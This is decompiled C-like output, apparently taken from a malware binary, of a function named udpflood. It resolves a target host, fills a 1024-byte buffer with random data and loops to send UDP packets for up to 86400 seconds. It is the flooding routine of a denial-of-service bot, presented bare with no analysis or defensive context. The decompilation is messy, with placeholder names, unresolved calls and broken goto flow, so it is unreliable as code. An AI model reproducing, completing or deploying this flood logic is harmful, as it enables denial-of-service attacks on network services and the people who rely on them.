int udpflood(_Unknown_base* ThreadData)
{// addr = 0x080499FB
    int hSockfd;
    char[1023] packet;
    struct sockaddr_in remoteAddr;
    UDPPACKET UdpObj;
    int nTime;
    struct hostent* szhost;
    socklen_t fromlen;
    int i;
    int looptime;
    int num;
    signed int _v8;
    signed short* _v12;
    signed int _v16;
    intOrPtr _v20;
    _unknown_ _v22;
    intOrPtr _v24;
    signed int _v28;
    intOrPtr _v32;
    char _v1056;
    intOrPtr _v1068;
    short _v1070;
    short _v1072;
    signed int _v1076;
    signed int _v1208;
    char _v1220;
    _unknown_ _v1224;
    _unknown_ _v1228;
    _unknown_ _v1232;
    signed int _v1236;
    intOrPtr _v1240;
    intOrPtr _v1252;
    signed int _v1256;
    signed int _v1260;
    signed int _v1262;
    _unknown_ r6;
    intOrPtr _t95;
    _unknown_ _t97;
    _unknown_ _t98;
    _unknown_ _t99;
    _unknown_ _t100;
    short _t123;
    intOrPtr _t125;
    _unknown_ _t128;
    signed int _t133;
    _unknown_ _t141;
    _unknown_ _t149;
    _unknown_ _t150;

    L0806F910( &_v1220, 148);
    _t95 = L0806F9E0(__edi, __esi,  &_v1220, ThreadData, 148);
    _v1236 = 0;
    L08073680(__ebx, __esp, 2, 2);
    _v32 = _t95;
    if(_v32 != 255) {
        _v28 = 0;
        _v28 = _v1208;
        if(_v28 <= 0 || _v28 > 86400) {
            _v28 = 20;
        }
        L0806F910( &_v1072, 16);
        _v1072 = 2;
         *__esp = _v1076 & 65535;
        _t123 = L08075240(__esp);
        _v1070 = _t123;
        _t125 =  &_v1220 + 16;
        L08075250(_t125);
        _v24 = _t125;
        if(_v24 == 0) {
        } else {
            _t128 = L0806E4D0( &_v1220 + 16, "0.0.0.0");
            if(_t128 == 0) {
                goto L19;
            } else {
                _v1068 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v24 + 16))))));
                _v20 = 16;
                _v1240 = 1024;
                _t133 =  &_v1056;
                 *__esp = _t133;
                L0806F910();
                _v16 = 0;
                while(_v16 <= 126) {
                    L0805EBE0();
                    _v8 = _t133;
                    _t133 = L0806F850(__ebx, __edi, __esi,  &_v1056 + (_v16 << 3), _v8, 8);
                    _v16 = _v16 + 1;
                }
            }
        }
        goto L19;
L20:
        _push(_t149);
        __esp = __esp - 16;
        _v1260 = _v1236;
        _v1256 = 0;
        _v1252 = _v1240;
        _v1262 = 0;
        while(_v20 > 1) {
            _v16 = _v16 + ( *_v12 & 65535 & 65535);
            _v12 =  &(_v12[1]);
            _v20 = _v20 - 2;
        }
    }
L19:
    L08052A50(_v32);
    _t98 = L08051050();
    L08051000(_t98);
     *__esp = 0;
    L08050FE0();
    goto L20;
}